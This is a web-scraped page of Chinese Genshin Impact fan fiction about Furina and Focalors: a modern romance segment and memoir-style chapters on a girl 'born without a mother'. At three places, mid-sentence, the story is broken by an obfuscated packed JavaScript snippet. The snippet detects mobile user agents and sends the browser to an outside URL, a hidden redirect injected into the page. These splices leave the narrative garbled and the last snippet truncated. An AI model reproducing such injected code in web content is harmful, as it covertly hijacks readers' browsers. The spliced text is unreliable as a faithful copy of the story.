天气太热,不过好在只囿于正午。芙宁娜探身去关窗,预备把窗帘拉下,只留一点缝隙给窗台上的绿植。十八岁的芙宁娜离开了那座小镇,在南法的城镇间往复,直到这条海岸线烂熟于心。那时候她才明白,往事太薄太脆,又或者它本就是海风吹至皮肤上的盐晶,轻易碎成齑粉。 在这种炎热到空气都震颤的时候,她又想起临别时芙卡洛斯的笑容。她们跳崖了,确凿无疑。不是为了寻死,就是简简单单的一次冒险。她们还活着,但传说的真假仍旧难辨。她们怎么算恋人呢?谁都可以成为恋人,唯独她们不行。半夜被大人们接回去,擦去耳鼻倒流的血液,用毛巾包裹红肿的部位,在他们惊慌的语气中眉来眼去,由着心照不宣的罪恶来回逡巡,直到碰撞成一地散落的大笑。她确信那时候芙卡洛斯的母亲已经知道了她们不可告人的秘密。为了印证她的直觉,芙卡洛斯要出国了。 男人开车送芙卡洛斯去机场,她理所当然地和芙卡洛斯并肩坐在后排。来自副驾驶的打量让她如坐针毡。也许是错觉,错觉而已。她这么安慰自己,直到一只柔软的、温热的手握住了她的,一如八年前她第一次踏足南法的土地,那时她没有握住对方的手,误以为漂泊将是自己一生的命运。 在机场,芙卡洛斯应付着男人和女人的叮嘱,以大人的气度。直到话说尽了,再没什么可说,三人的目光便有志一同地落到沉默的芙宁娜身上。芙卡洛斯笑着拉起芙宁娜的手摇了摇。 Bye Bye Furina, Bye My girl. 樱桃色的唇珠颤动了一下,流利的告别一齐滚出来。那时芙宁娜吓得几乎要跳起,小心翼翼地用余光观察男人和女人的表情,但大人们笑得坦然又妥当,毫无裂缝。她有些糊涂了,也许他们的确一无所知。但她们交握的手被灼热的视线炙烤,因而一触即分,又明明白白地说明,见不得人的故事都已败露。 回程路上,她一个人坐在后座,双手绞在一起,除了祈祷天空中悬挂的是同一个月亮以外,别无他法。 芙卡洛斯出国后,芙宁娜消失了整整三天。字条上说的是出去散心,学校的假条写的是身体不适,兜兜转转,没人知道芙宁娜是去了西雅图,下午五点,一个人拉着行李箱寻觅芙卡洛斯住所附近的旅馆。落日把城市装点得气派,她却没有多看几眼。很快下起雨,她才恍然想起芙卡洛斯走前说过,说要去一座一年有三百天在下雨的城市。半夜走在异国的街道上,她没有伞,灯光模糊成一个个光圈,熟悉的声音夹在陌生男女的笑谈中飘远。她想她真是醉了,尽管滴酒未沾。 骤雨太重,压得她的呼吸都变沉。她不明白。她怎么能丢下她,那么轻易地,无情地,毫不留恋地,满不在乎地,将沙子抹平,将芙宁娜从生活里删去,仿佛她们的八年不曾存在。她怎么能如此泛滥地多情,用同样明媚的、潮湿的、自如的笑容对每一个人,聊起钟楼怪人的传说,一起攀登异国的山丘。 她想,我是恨她的,我应该毁掉芙卡洛斯。但是街巷寂静,芙卡洛斯们走后再无一人,仿佛整个城市只有她自己。雨从头上滑进衣中,把尚且温热的躯体熨得冰凉。她亲吻那条项链上的贝壳,肉|体和灵魂一齐颤栗。 我还是恨我自己吧。也许我不是醉了,只是病了。芙宁娜最后这么说,说给唯一的听众。第二天她买了回国的机票,没有人知道她来了又去,西雅图的雨夜不曾收留被抛弃的女孩。 因此,当她拽着窗帘,将关窗的身子收回,瞥见芙卡洛斯站在楼下冲她微笑时,狂喜才没能压倒忌恨。她假装什么也没看见,把窗帘放下,遮挡过于热烈的阳光。她的手从项链上移开,一路向下,按在心脏的位置上,一下一下,她听到自己的灵魂在胸腔里一边大笑一边痛哭。 第二天她如常出门,去找自己那辆掉漆的二手自行车。芙卡洛斯就等在楼下,没有同她打招呼,只是自然地拉住后座,问她: “不载我一程吗?” 芙宁娜想笑,又想控诉她,又觉得无可控诉。她说:“松手。” 芙卡洛斯就叹口气:“唉,两年不见,你就是这么迎接我的?好无情,我难过的要死掉了。” 芙宁娜从喉咙里憋出一声冷哼,推着车向前。谁难过的要死掉了?反正不可能是刚到西雅图就如鱼得水的芙卡洛斯。 但芙卡洛斯仿佛已经看穿了她:“我已经成年了喔。” “你想说什么?” “成年的意思就是,我想做什么就做什么,即使是我母亲,也不可能把我从我的屋子里赶出去。” 熟悉的手又攀上肩膀,芙宁娜感觉到后座的拉力消失了。她便跨坐上去,而芙卡洛斯也顺理成章地搂住她的腰。随着车轮的运转,午后的海风微微吹起额前的头发,一下子把十年光阴都吹散了,从她们的身体里流出来,淌了一路。 “芙宁娜也快了,是不是?就是今天。” “喔。” “不好好庆祝一下吗?我知道一家不错的酒吧。” “……” “来尝试一下吧,我知道你一直困惑——你到底是病了,还是醉了?” 芙宁娜猛捏了一把刹车,她忍无可忍地回头。她想说你消失了两年见了我就说这个,还想说你知道我这两年是怎么过来的吗,但一切都晚了。芙卡洛斯的唇近在咫尺。柔软的,潮湿的,温暖的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099054|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芙宁娜自己跳下了车。 芙卡洛斯毫不意外,直起身笑着说,我在老地方等你。 芙宁娜站在原地目送她离开。她不明白她的心为什么跳得那样快。她想这是因为恨。她该恨她的,不是吗?芙卡洛斯将那支丘比特的箭插进了她的心脏,自己却大笑着离开,而她连逃跑都做不到。她不过是芙卡洛斯生命里微不足道的过客,和所有旧了的衣服一样可以毫不留情地丢弃。 夜半时分,芙宁娜终于爬到海崖的顶端。芙卡洛斯等待已久,正有一搭没一搭地啜饮波尔多红酒。不用回头,仅凭凌乱的呼吸,她知道芙宁娜来了,便慵懒地招了招手。芙宁娜不甘地走过去,在她身边坐下。四条光溜溜的小腿从悬崖上垂下来,在空中轻轻晃动,彼此相撞时,十月的海风从缝隙间溜走,冰凉又黏腻。 芙卡洛斯轻轻地说:“你看,我们到底拥有同一个月亮。” 她望进她的眸子,和月亮相遇。她想起十年前她们曾于此纵身一跃,从崖上坠落,没人看见她们手牵着手。肉|体从骨头上滑落,灵魂从睡梦中觉醒,芙宁娜发现自己还活着,并且无法去恨芙卡洛斯。她先是告辞,又慨然留下,尽管那姿态近乎一种施舍,芙宁娜却不能说服自己高傲的自尊心弃她而去。 她们聊了聊咖啡、糖果、沙画和电视剧,于是,那么多沉重的岁月随着话语变得轻盈,加快流逝,很快消损不见。 末了,芙卡洛斯说:“从这里跳下去还能生还的情人,是被上帝认可和保佑的爱侣。我们不应该为此干杯吗?” 好吧,芙宁娜说着,慢吞吞地举起酒杯。玻璃相撞发出脆响,宣告又一个盛大的夏日已经落幕。 芙卡洛斯转过头来说:“成年快乐,我的女孩。” 下山时芙卡洛斯已经醉了。她半边身体的重量都压在芙宁娜的身上,还在有一搭没一搭地讲着钟楼怪人。芙宁娜忍不住去看这座小镇的钟楼,与当年的那座颇为相似。芙卡洛斯的气息轻轻挠过耳廓,她听到一句近乎消弭的气音: “我是这个世界的钟楼怪人,丑恶的欲望,为世界不容……但是,我有自己的爱斯梅拉达……” 芙宁娜说:“你真的是醉了。” 把芙卡洛斯扶进公寓、安置在床上后,她似乎又清醒过来,望着芙宁娜妩媚地笑,笑得芙宁娜不自在地别过头去。她最后说: Bye Bye Furina, Bye My girl. 芙宁娜说,你为什么要和我说再见呢?我会疑心那将是永别。 芙卡洛斯勉强撑起身体,她的发丝擦过芙宁娜的,依依不舍。 你应当用明天见来回应我。她说。 12. 生来没有母亲的女孩(一) *芙宁娜X芙卡洛斯,第一人称预警。标题来自弗朗西斯·皮卡比亚的《生来没有母亲的女孩的诗画集》。 我那被欺骗的一生。 这样说的时候,对面的女孩儿显出难过的神色来。我耸耸肩告诉她,不必为我难过。但她扶了扶黄玫瑰礼帽,郑重地说,我明白,被欺骗并不好受。但人生在世,谁又能永远诚实?我们总是在欺骗别人和被别人欺骗。这么想来,其实欺骗这种事情,只要别把自己也骗过去,倒也无伤大雅。 好吧,我说,但如果你必须先骗过自己呢? 我不明白,这句话从她唇间自然地流出来。我知道以她的年纪来说,理解这些并不容易。她太年轻了,像一朵稚嫩的黄玫瑰。最后她再次问我,真的不去白淞镇走走吗?我放下茶杯,心平气和地说,为时尚早。 三百八十余年前,我在枫丹执政的第一百二十四个年头,那时候我还十分十分年轻,曾差点儿就谈了一场恋爱。 这么说是不严谨的,我只是询问那维莱特可否找人来教我接吻,这样在演绎爱情剧目时也许能更投入。他思索了几秒后回答,他并不了解歌剧,如果我有需要,可以帮我咨询各大剧团。我说那就不劳您大驾了,我自己去问就好。事实上,那个时候我应该懵懵懂懂地意识到了此事的特殊性,不知为何需要暂避人前,不能大大咧咧地使唤那维莱特。但我毕竟不能明白,它究竟特殊在何处,而显然,那维莱特在这一点上连我都不如。 我找来两位帮手,时下最炙手可热的两个剧团的团长。 一位剧团长说:您的表演感情充沛,我想并无这种必要。 另一位剧团长说:您的咏唱声如天籁,我想并无这种必要。 我思忖着问,那么,我的演绎呢,在全剧的最高潮之处,公主与王子间情难自禁的一吻呢。 他们面面相觑,回答道,您的借位天衣无缝,我想并无这种必要。 也许是被我问得烦了,我便不好意思再问。直到其中一位觑着我的脸色,小心翼翼地说,如果您是想要表演出不同的吻所包含的感情的层次,那么,我大概理解您的困惑,可是,爱情的亲吻总是有所顾虑的。 顾虑?我问。 她说,是的,顾虑。回想一下您的初吻吧,我们的初吻大抵都献给了母亲。在刚刚出生的时候,母亲看着幼小的我们,忍不住亲吻我们的面颊,用自己温润的嘴唇轻轻触碰婴儿皱巴巴的唇瓣,宣告新生命的降临。 但是,这只是一个浅尝辄止的吻。以后,您又遇到了许许多多的吻:初次见面时对方在您指间觅得的礼节性的吻,熟悉之后朋友在您的脸蛋上印下的每一次重逢与分别的吻……而这些吻都不同于爱情的吻。爱情的吻……那是一个撬开牙关的吻,因此也是撬开心门的吻,是可遇不可求的吻。可您不必为了某一种爱情的吻而心焦,因为吻并不天然属于爱情。 但爱情一定属于吻,我说。 谈话到这里就结束了,我礼貌地示意他们离开。但我并没有指出她的错误:我从来没有母亲。芙宁娜生来没有母亲。 没有人知道芙宁娜出生在哪里、母亲又是何人。也许神明是没有母亲的,又或者神明的母亲是整个提瓦特。但这无伤大雅,民众只要知道水神神位上端坐着芙宁娜就会心满意足。整个枫丹都爱着我,也许。但这又能如何?我并不爱我自己。 我揣度我如此行事的意图:我想爱我自己,我想找个人来爱我。因此如此迂回地询问,有没有一个人愿意教我接吻。这句话也许是我发出的最后一声求救,而第一声求救从我错失母亲的那个吻时就开始了。 我的自欺持续了五百年整。再次地,我想我并不需要强调这段五百年的执政生涯有多么艰辛。单单从执行的角度来说,只要想想我与普通人之间寿命的差距,就能明白政策变动和推广的难度。唯一值得庆幸的是:白淞镇不可挽回的事故没有进一步扩大。那是我执政期间最大的、也是最后的危机。有很多人牺牲了,也有很多人活下来了。暂且不提了吧,如果要追溯这场事故,我需要讲述一整个漫长的雨季。 总之,我退休了。普通人退休后会干些什么呢?我不知道。因此,我也不知道自己该干些什么。新租公寓的里里外外都被打扫了一遍,接下来的七十二小时我都没有离开床铺,直到克洛琳德敲响大门。 我穿着睡衣、趿着拖鞋去开门。她看到我显然吃了一惊,半晌才说,她愿意出钱帮我置办一个更好的房子。我摆了摆手表示拒绝。 可是,这样的环境……她犹疑着。 没什么不好吧,要进来看看吗?我拉开大门,很快就为这个决定感到后悔。 克洛琳德将逐影猎人的作风带进了公寓,在她的监督下,我的衣物都折叠妥当,箱子和地板纤尘不染。她这才愿意坐下同我喝茶。 接下来有什么打算? 打算?嗯……毫无疑问,世界已经是另一个世界了,没有水神的枫丹也在平稳运行。如果水神「芙卡洛斯」已经不再被需要,扮演她的演员「芙宁娜」失业也是理所应当。基于权责对等的原则,我十分乐意卸下这份重担。 我明白这一点。 我必须要说,困扰着我的不是未来的道路,而是一个虚无缥缈的问题:一个吻。 一个吻? 请听我说;这绝不是无病呻吟。人类总是有一种追溯起源的毛病,泰勒斯说水是万物的本源,赫拉克利特说宇宙的本原是永恒的活火,毕达哥拉斯则说数才是那个世界的原点。这些形而上的哲学观念怎样都无所谓吧,但每个人都知道自己的起源,他们至少知晓自己的母亲姓甚名谁。 克洛琳德看起来有一些困惑,我猛然想起这位决斗代理人也是孤儿,不过她的师父也几乎相当于她的母亲了,因此,我与她终究还是不同的。 老实说,我时常觉得自己对某些剧本的偏爱事出有因:比如《雾都孤儿》,比如《远大前程》。没有母亲!这一点使我感到亲切。仔细想想,没有母亲什么也不影响:不影响我的衣食住行,不影响我的生命从五百年前流到如今。但没有母亲却好像什么都影响了:影响了我的偏爱和喜好,影响了我生命中最重要的几次抉择。 克洛琳德放下茶杯:原来,没有母亲是如此重要之事吗? 母亲是阴影。尽管我根本不曾见过她,也不知晓她的名字,她的生命却如同阴影笼罩了我的五百年,而且今后也将笼罩下去。我曾经问过那维莱特,知不知道自己的母亲是谁,他为难的沉吟已经回答了一切。我知道他的身份并不简单,否则何以解释他五百年来不曾衰老,始终如一地端坐在最高审判官的位置上?故此,我宽容地放过了他,心底不禁升起一些微妙的同病相怜:也许被困在沫芒宫是没有母亲者的宿命。 我站起来,活络一下罢工长达七十二个小时的筋骨。克洛琳德礼貌地同我告别。我答应她会出席当晚的聚会,因此她满意地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099055|163753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,没有继续深究我关于母亲的那套离经叛道的长篇大论。接下来我准备无所事事地在枫丹街头溜达,顺便囤积一点维持生命体征所必须的通心粉。这不是堕落,美好的退休生活理应如此,平凡生活不该有任何波澜。 遗憾的是,枫丹的水面永不平静。现在想来,退休之后第一次出门,就在街角撞上诺查丹玛斯,还打翻了他的水晶球,这如果不是他刻意为之,那至少也是命运的有意捉弄。总之,我局促不安地跟他进了小店,用他撕下来的一片衣角兜着刚刚捡拾的水晶球碎片。 大名鼎鼎的芙宁娜女士。他颔首说,从空荡荡的黑袍子里伸出一只干枯的手。 大名鼎鼎的诺查丹玛斯先生。我将那包水晶球碎片放到他的手上,并牵起两个角打了一个漂亮的蝴蝶结。 正当我满意地打量着自己的杰作时,预言家收回了手,从黑袍下掏出了一个新的水晶球,并示意我将手放上去。我不放心地询问他精神状态是否良好,否则怎么还没提赔偿问题,就又将易碎品塞给罪魁祸首。袍子下面的苍白发丝抖动起来,狠狠地把水晶球掼进我怀里: 可悲的、无知的、没有过去、没有未来的人! 我抱着水晶球点了点头。人不会对事实生气,即便这种事实听起来是一种侮辱。 他继续说这,语气越发急促:难道您不想知道自己的来源?苍天大树知道自己由一颗种子迸发,万顷海洋知道自己自高山皑雪奔涌,而被新世界排除在外的芙宁娜女士,被定格在十六岁身躯的芙宁娜女士,您真的不好奇自己生命的起点吗? 我轻轻把那个水晶球搁到桌上,它的内部已充盈着絮状的烟雾:如果您不记得了的话,我可以替您回忆一下。在我执政的第五年,您预言枫丹这个国度将毁于芙卡洛斯之手。在我执政的第五十九年,您预言枫丹人从此将回归大海。在我执政的第一百七十六年,您预言我将跌落王座。在我执政的第三百七十二年,您预言我将死于断头台。 但是到现在,我已执政五百年,卸去职务,仍是枫丹廷的一位普通居民。 ——而您的招摇撞骗,也已持续五百年之久。 他猛然扭头,在此之前他从不正眼瞧我。颤颤巍巍的黑袍子里,一双几乎嵌在眼眶里的混浊双目盯着我:诺查丹玛斯的预言皆已实现,诺查丹玛斯的占卜从不落空。 如果您觉得欺骗自己可以更好受的话,我倒是不介意。我从钱包里数出一半的摩拉放到他狭窄的桌上。一个水晶球究竟值多少钱呢?这已经是我所能给出的最高赔偿,如果再多,就只能分期付款了。 诺查丹玛斯却看也不看那堆摩拉:旧枫丹已经毁于芙卡洛斯之手,旧枫丹人已经回归大海,芙卡洛斯业已跌落王座,水神也已死于断头台。您——真的认为,您就是芙卡洛斯? 说实话,芙宁娜只是水神「芙卡洛斯」的演员这件事,虽然知道的人并不多,但也不算少。我挑了挑眉问他,我不是芙卡洛斯又如何? 诺查丹玛斯说:那您觉得,芙卡洛斯是谁? 我只觉得好笑:一个名字,或者一个代称。那张面具下曾经是我,现在不是任何人。 苍老长寿的预言家摇了摇头:芙卡洛斯确有其人。 我煞有介事地点头:诚然如此。那维莱特的确是这么说的,她骗了我整整五百年。 他拾起那枚水晶球递到我面前:芙卡洛斯是你的母亲,这是诺查丹玛斯给你的最后预言。 13. 生来没有母亲的女孩(二) 那时候我就知道,我一定是被欺骗了。预知的是未来,回忆的是过去,时间是一条从不回头的单向河流,未来不可能被回忆,过去不可能被预知,这是枫丹廷三岁儿童都知道的事情。作为一个预言家,诺查丹玛斯怎么能将过去的事实作为预言给予我?这太荒谬了。 那维莱特点了点头。说实话,我并不是很想对上最高审判官这张古井无波的脸——那总会勾起我不妙的回忆。这并不是因为那维莱特不是一个靠谱的同事,而是因为我们的工作本身实在够呛。但他毕竟是芙卡洛斯最后见过的龙,我不得不上门叨扰,去寻求一个确定的答案。 那么,芙卡洛斯究竟是不是我的母亲? 很抱歉,芙宁娜女士,关于这一点,我一无所知。 整个枫丹只有你见过她,没错吧? 的确如此,芙宁娜女士。 我凑到他面前:那么,她同我长得像吗? 那维莱特一时语塞。与其说是像……他迟疑着说,你们几乎就是…… 好了,不用再说了。我满意地站直身体。 芙卡洛斯可能是、将会是我的母亲。我忍不住嗤笑一声。那维莱特转述了芙卡洛斯死前的遗言,我知道她绝非我的母亲。而以共事五百年的经验来看,他的转述绝对忠实可靠,不存在任何扭曲修改的可能。 ……在成为神明以后,我将自己的「神格」从身体与精神之中分离出来,只剩下了如同刚刚被创造出来的人类一般的自己…… 那维莱特如是说。芙卡洛斯如是说。 因此,芙卡洛斯与我,是这样一种复杂的关系:我们长得一模一样;我们的生命轨迹曾平行五百年而从未交叠;我们共享枫丹的黑夜与白日;我们如今已天人永别。如果这也能算是我的母亲,那所有在露景泉前虔诚祈祷的夫妇都像个笑话。 这是我在漫长的前半生关于母亲之吻所思考的全部内容。我的后半生乏味可陈:以正常人的速度老去,活在英雄的庇佑之下,不是时代的蠹虫,也不是祖国的骄傲。但我心满意足,因为在短暂的后半生里我尝试了所有前半生所不敢想的事情,比如,去学院读书,去瀑布蹦极,独自租住在枫丹廷的一间公寓,小心不要让神之眼的大水淹没整栋楼。 芙宁娜不再是那个疑似睡在液氮里的人,作为一条曾经的永冻河,她的生命终于在第五百年时迎来春潮,在第五百七十六年渐趋干涸。于是,我狠下心来买了一瓶墨水,枫丹廷办公专用;还有一支羽毛笔,最高审判官同款。经过橱窗时它们正在同一个礼盒里拼命展示自我,让我忍不住驻足,最终为精致的外表和不知是否属实的宣传买单。 著名导演芙宁娜的回忆录,想想就觉得诱人,不是吗?流速不同的半生,如此独一无二的体验,想必能吸引众多新生代的年轻人。然而落笔之时,我却犯了难:我不知道我何年何月何日出生于何地,父母的姓名与籍贯,第一章理应从这里开始。但是不要紧,这无伤大雅,我决定从第二章写起。 芙宁娜,你真是个天才!娜维娅吃掉了最后一个醋栗布丁。 彼此彼此,我回敬道,吃掉了最后一块马卡龙。 我们坐在桌边面面相觑:下午茶结束得太快了,像一场急风骤雨。尽管我们都已不再年轻,胃口却仍像青年人一样好,这不得不说是一件幸事。于是娜维娅掩饰性地端起茶杯抿了一口,这一口伯爵红茶似乎续上了她的思路:说真的,芙宁娜,要写回忆录的话,你应该去白淞镇看看。 这是她第多少次邀请?我记不清了。 有七十六年的时间,我未曾踏足白淞镇的土地。这是很自然的事情,灾难并不会因为遗忘而变得不存在。对我个人来说如此,对白淞镇居民来说亦是如此。 芙宁娜,我们小组的取景地点在白淞镇,要不要和我们一起? 芙宁娜,听说刺玫会在白淞镇举办义卖活动,一起去看看吗? 白淞镇,白淞镇。每当我想要咀嚼这个词汇的时候,都像在咀嚼一块过分衰老而索然无味的泡泡桔。无法想象白淞镇的景象,因为白淞镇三个字在我脑海中引起的全部联想,就是潮水退去后,一地死寂的内脏。街道上匍匐着遇难者的悲伤,从泥浆里人们掘出未被溶解的遗物。我一度无法喝下白淞鲜汤。 这么说不是为了给自己求得什么宽恕或怜悯:我的确是白淞镇惨案的主要责任人。讽刺的是,我并没有任何承担责任的能力,这使得整个事件看起来像一个微妙的笑话。如果我竟敢再度踏足白淞镇的土地,那无异于踩在他们的尸体上行进。我已经用一次自满的试探证实了白淞镇与它的居民对我的排斥。但是乔装打扮也绝非我属意的方式:比任由错误发展更可怕的是试图掩盖错误。你不可能用一页蒸汽鸟报掩盖整座废墟。 所以,尽管我并不擅长拒绝,但的确擅长拒绝与白淞镇产生任何实质性联系。 芙宁娜小姐,我想回避并不能解决问题。枫丹已经在向前走了,您也在向前走。芙宁娜小姐,如果您能够将白淞镇的历史拍成一部映影,我想那绝对会是一部杰作。芙宁娜小姐,您在听吗? 您去过灾后的白淞镇吗? 什么? 那里的街巷都是蠕动的肠子。有女儿的,它找不到母亲了;有丈夫的,它把妻子卷在自己的内部;有婴儿的,它还没来得及充分发挥力量就腐烂了。 对不起,芙宁娜小姐,您在说什么?您还好吗? 我很好,老师。 我想您可能需要大家的帮助。如果您有需要,我们随时乐意效劳。 谢谢您。 说回您的作业吧,我还是建议你不要逃避现实。 谢谢您的建议,我会认真考虑的。 还有您往期的作业……我没有批评您的意思,只是一个小小的疑问:为什么年纪轻轻要思考那么多沉重的话题?生与死总是您作品的主旋律,而您的同级生,都在爱呀恨呀,谈着比世界比生死都重要的恋爱。我们课上的拉片,似乎也以爱情片居多。您可以不必想那么多,我们不会在春天思考冬天的事情。 我沉默了一会儿。我不知道该从何说起。最后我说,也许从我缺失了母亲的那个吻开始,一切就已经注定了。何况我也并不年轻:我那长达五百年的少女时代已经过去了。 母亲的吻? 是的,母亲的吻。我们的初吻大抵都献给了母亲。在刚刚出生的时候,母亲看着幼小的我们,忍不住亲吻我们的面颊,用自己温润的嘴唇轻轻触碰婴儿皱巴巴的唇瓣,宣告新生命的降临。当然,这只是一个浅尝辄止的吻。以后,还将遇到许许多多的吻。但所有的吻都有一个共同的源头,那就是母亲的吻,如果没有那个吻,一切都不会发生。因此,在五百年里,缺失了母亲之吻的嘴唇只是一直干涸。 芙宁娜小姐…… 我们当然不会在春天思考冬天的事情。但我们一定会在冬天思考春天的事情。对不起,老师,我没有别的意思。我只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我不明白,这句话从她唇间自然地流出来。我知道以她的年纪来说,理解这些并不容易。她太成熟了,像一朵已过花期却仍然艳丽的黄玫瑰。这样的玫瑰早已遗忘了作为花苞的自己,自然也遗忘了母亲的吻是如何将她的灵魂塑造得如此美丽又坚硬。最后她再次问我,真的不去白淞镇走走吗?我放下茶杯,心平气和地说,为时已晚。 实际上,我早已遗忘了白淞镇的模样,当年那批幸存者也已陆续离世。他们的孩子大多也已将往事抛到脑后,也许拍一部揭秘当年事故真相的《白淞遗事》都挣不到多少票房,至今仍对此念念不忘的只有我自己。 我其实喜欢那种映影:镜头从盆栽的一侧开始,到窗外的雨天结束。主演只露出一条细长的胳膊,微微倚靠在满是褶皱的床单上。这是一个推理片的开头。 我厌倦宏大叙事、厌倦史学著作、厌倦纪录片。所以,时至今日,造访白淞镇于我已没有任何意义:问题的症结不在白淞镇。问题在于我缺失了一个母亲的吻。那个吻将教会我生死大事,而我毋庸置疑地,缺失了它。我接受不了白淞镇的死不是因为愧疚,而是因为我在抗拒死亡本身。 母亲是阴影。缺少这种阴影就会对生死秉持着一种无知的态度,自然不明白死本身就是生的一部分,就像黄油是面包的一部分一样。缺少这种阴影就会一直无法长大,像个孩童一样天真地希望大家永远年轻,永远不死,一百年后还能手拉着手围成一圈唱歌。可生命不是这样的。面包总会瘪下去,长出霉斑,散发臭味,长生种只是延缓了这个过程,并不意味着真有面包永远停在保质期内。 在生命的第五百个年头,我终于成年。终于知晓生命的霉斑如何像鸢尾一样绽开在身体的各个角落,于是身躯终于如同普通人一般开始老去。 14. 生来没有母亲的女孩(三) 回忆录无法继续推进,我比以往任何一个时刻都更加清晰地意识到:芙卡洛斯是比母亲更加长盛不衰的阴影,更加顽固不化的幽灵。芙卡洛斯是我生命的底色,我个人的悲剧,像一只巨鸟掠过我的世界,我久久地,久久地站在她翅膀的阴翳下仰望被遮住的太阳。 有很多行为我都难以解释,即使找来娜维娅、克洛琳德、那维莱特和莱欧斯利等一干亲历者一起分析,也无法解释。我无法解释为什么会决定扮演水神「芙卡洛斯」,无法解释为什么我的名字是芙宁娜,无法解释为什么能够欺骗自己又觉得自己是被欺骗的。我更无法解释为什么厌恶镜子:执政期间,沫芒宫禁止出现任何可以反光的物体,每天都会有专人负责房间窗户的开关事宜;仪容仪表全部交给能干的管家女士,我只会低头检查一下蝴蝶结是否端正。 天哪,我不知道你原来这么痛苦……娜维娅放下了手中的方糖。 我大度地挥手,说一切都过去了。这句话很巧妙,我很喜欢。秘诀在于:你必须在一切都过去之后才能自己说出这句话,在此之前旁人口中每一次“一切将会过去”的劝告都是在往小蛋糕上放咖啡豆,简直令人难以忍受。 那么,你现在能够解释这一切了吗?我想这是你今天找我们来的目的。克洛琳德问,以一种笃定的口气。 一切都是因为我从未走出名为芙卡洛斯的阴影。 那维莱特说:我以为你从未有过名为芙卡洛斯的阴影才对。 我撇了撇嘴:她用她的名字掩盖我的僭位,又给我取了一个崭新的名字。起名是一件神圣的事情,主人为猫猫狗狗起名就是在宣誓:在这段权力不对等的关系中我将担负起对你的全部责任。母亲为孩子起名同理,所以稻妻说名字是最短的咒语。芙卡洛斯给予了我一个名字,却忘记了那个吻。毕竟,她不是我的母亲。 我找故人聊天是为了撰写回忆录的第一章。他们为第二三四章提供了丰富的材料,蒸汽鸟报承诺提供我执政任期与映影导演时期的精彩画片,刺玫会会长拍板赞助了彩印增加的成本。我们时常纠结一两个无关紧要的问题,为那天下午喝的红茶产自翘英庄还是苍晶山地争论三个小时。但对于第一章,他们每个人都表示自己爱莫能助,唯一能做的就是一遍遍帮我盘问那维莱特,希望他能记起什么遗漏的细节。 那维莱特只能一遍遍回想芙卡洛斯最后的几句话。那些话太短了,以一种铅灰的色调落在地板上,周围的人慌张地去捡拾,只从其中扫出几缕解脱。 好狼狈啊。我说。 她是从容的。那维莱特说。 从容与狼狈并不矛盾。我给自己续了一杯茶。谈论往事的时候总是需要些液体润滑,否则脑中的齿轮总是锈蚀的。 为什么这么说呢?娜维娅问。 时间紧迫,所以狼狈。等待已久,所以从容。我说。 你真的很了解芙卡洛斯。娜维娅这样说,我才惊觉自己竟然用一种熟稔的语气评价一个陌生的人。 这场讨论也将无疾而终。察觉到天色渐晚,我稍稍坐得端正一些,掩饰性地咳了咳,预备做一场滑稽的总结: 那么,也许我一生的错误在于,是芙卡洛斯给了我名字,而这本该是我母亲的职责。所以,当我追溯那个缺失的吻时,我只能去恨芙卡洛斯。她承担了我母亲的职责,却只承担了一半。这也许算一种不负责任,也许是我单方面的苛责。 但我只能去恨她。她自己在我面前站成一个靶子,让我得以将所有的不甘与悔恨虚掷其上。一直以来我对镜子的畏惧也就有了答案:我害怕看见的不是自己,而是与我长得一模一样的芙卡洛斯。我担心自己的怒火克制不住,让无辜的镜子粉身碎骨。 你要将这些写下来吗,芙宁娜? 为什么不呢? 在人生回忆录的开头写死,这不是一种行为艺术。但我别无选择。因为我是到了快死的时候,才明白生的意义。 我们可以选择朋友、选择职业、选择伴侣,但我们没有办法选择父母。如果说某种意义上父亲是由母亲代为选择的,那其实真正无法选择的只有母亲。如果母亲没有足够的爱也没有给予最初的吻,那这个孩子一定无法长大。他会夭折在泥泞里。 其实生命是一场疾病。母亲的吻驱散了最初的瘟疫。但我缺失了那个吻,病毒在我的体内扎根,然后慢慢地蚀空了我的脊柱,最后,在我的血管里奔涌的是霉菌而不是鲜血。 写完一段话,我站起身来活动一下。年纪渐长后骨头常常发出艰涩的摩擦声,仿佛在抗议我年轻时太过张狂地使用它。猛然间我对上一张自己的脸,在明净的窗户中熠熠生辉——谢贝蕾妲小姐又忘记擦完窗户后拉上窗帘了。但我已经来不及谴责她,因为那张脸已经完全占据了我业已昏浊的瞳孔。 那不是一张老妪的脸,沟壑与褐斑都消失不见。无疑,那是十六岁的芙宁娜的脸,像以往慕名而来的画家笔下完美的肖像。我感到我被钉死在了画布上,那颗钉子穿透了我的细胞、皮肤、血管、脂肪、肌肉、肩胛骨,然后又顺次穿过以肩膀为界的另一边的肩胛骨、肌肉、脂肪、血管、皮肤和细胞,带出一簇一簇的血花,顺着画布淋漓地向下流。这场行刑持续了五百年,直到名为芙宁娜的小丑被碾死在苍老的树皮上,直到我的画像随着退位从沫芒宫的正厅取下,直到时间终于肯将我漫长而苦厄的童年轻轻揭过。 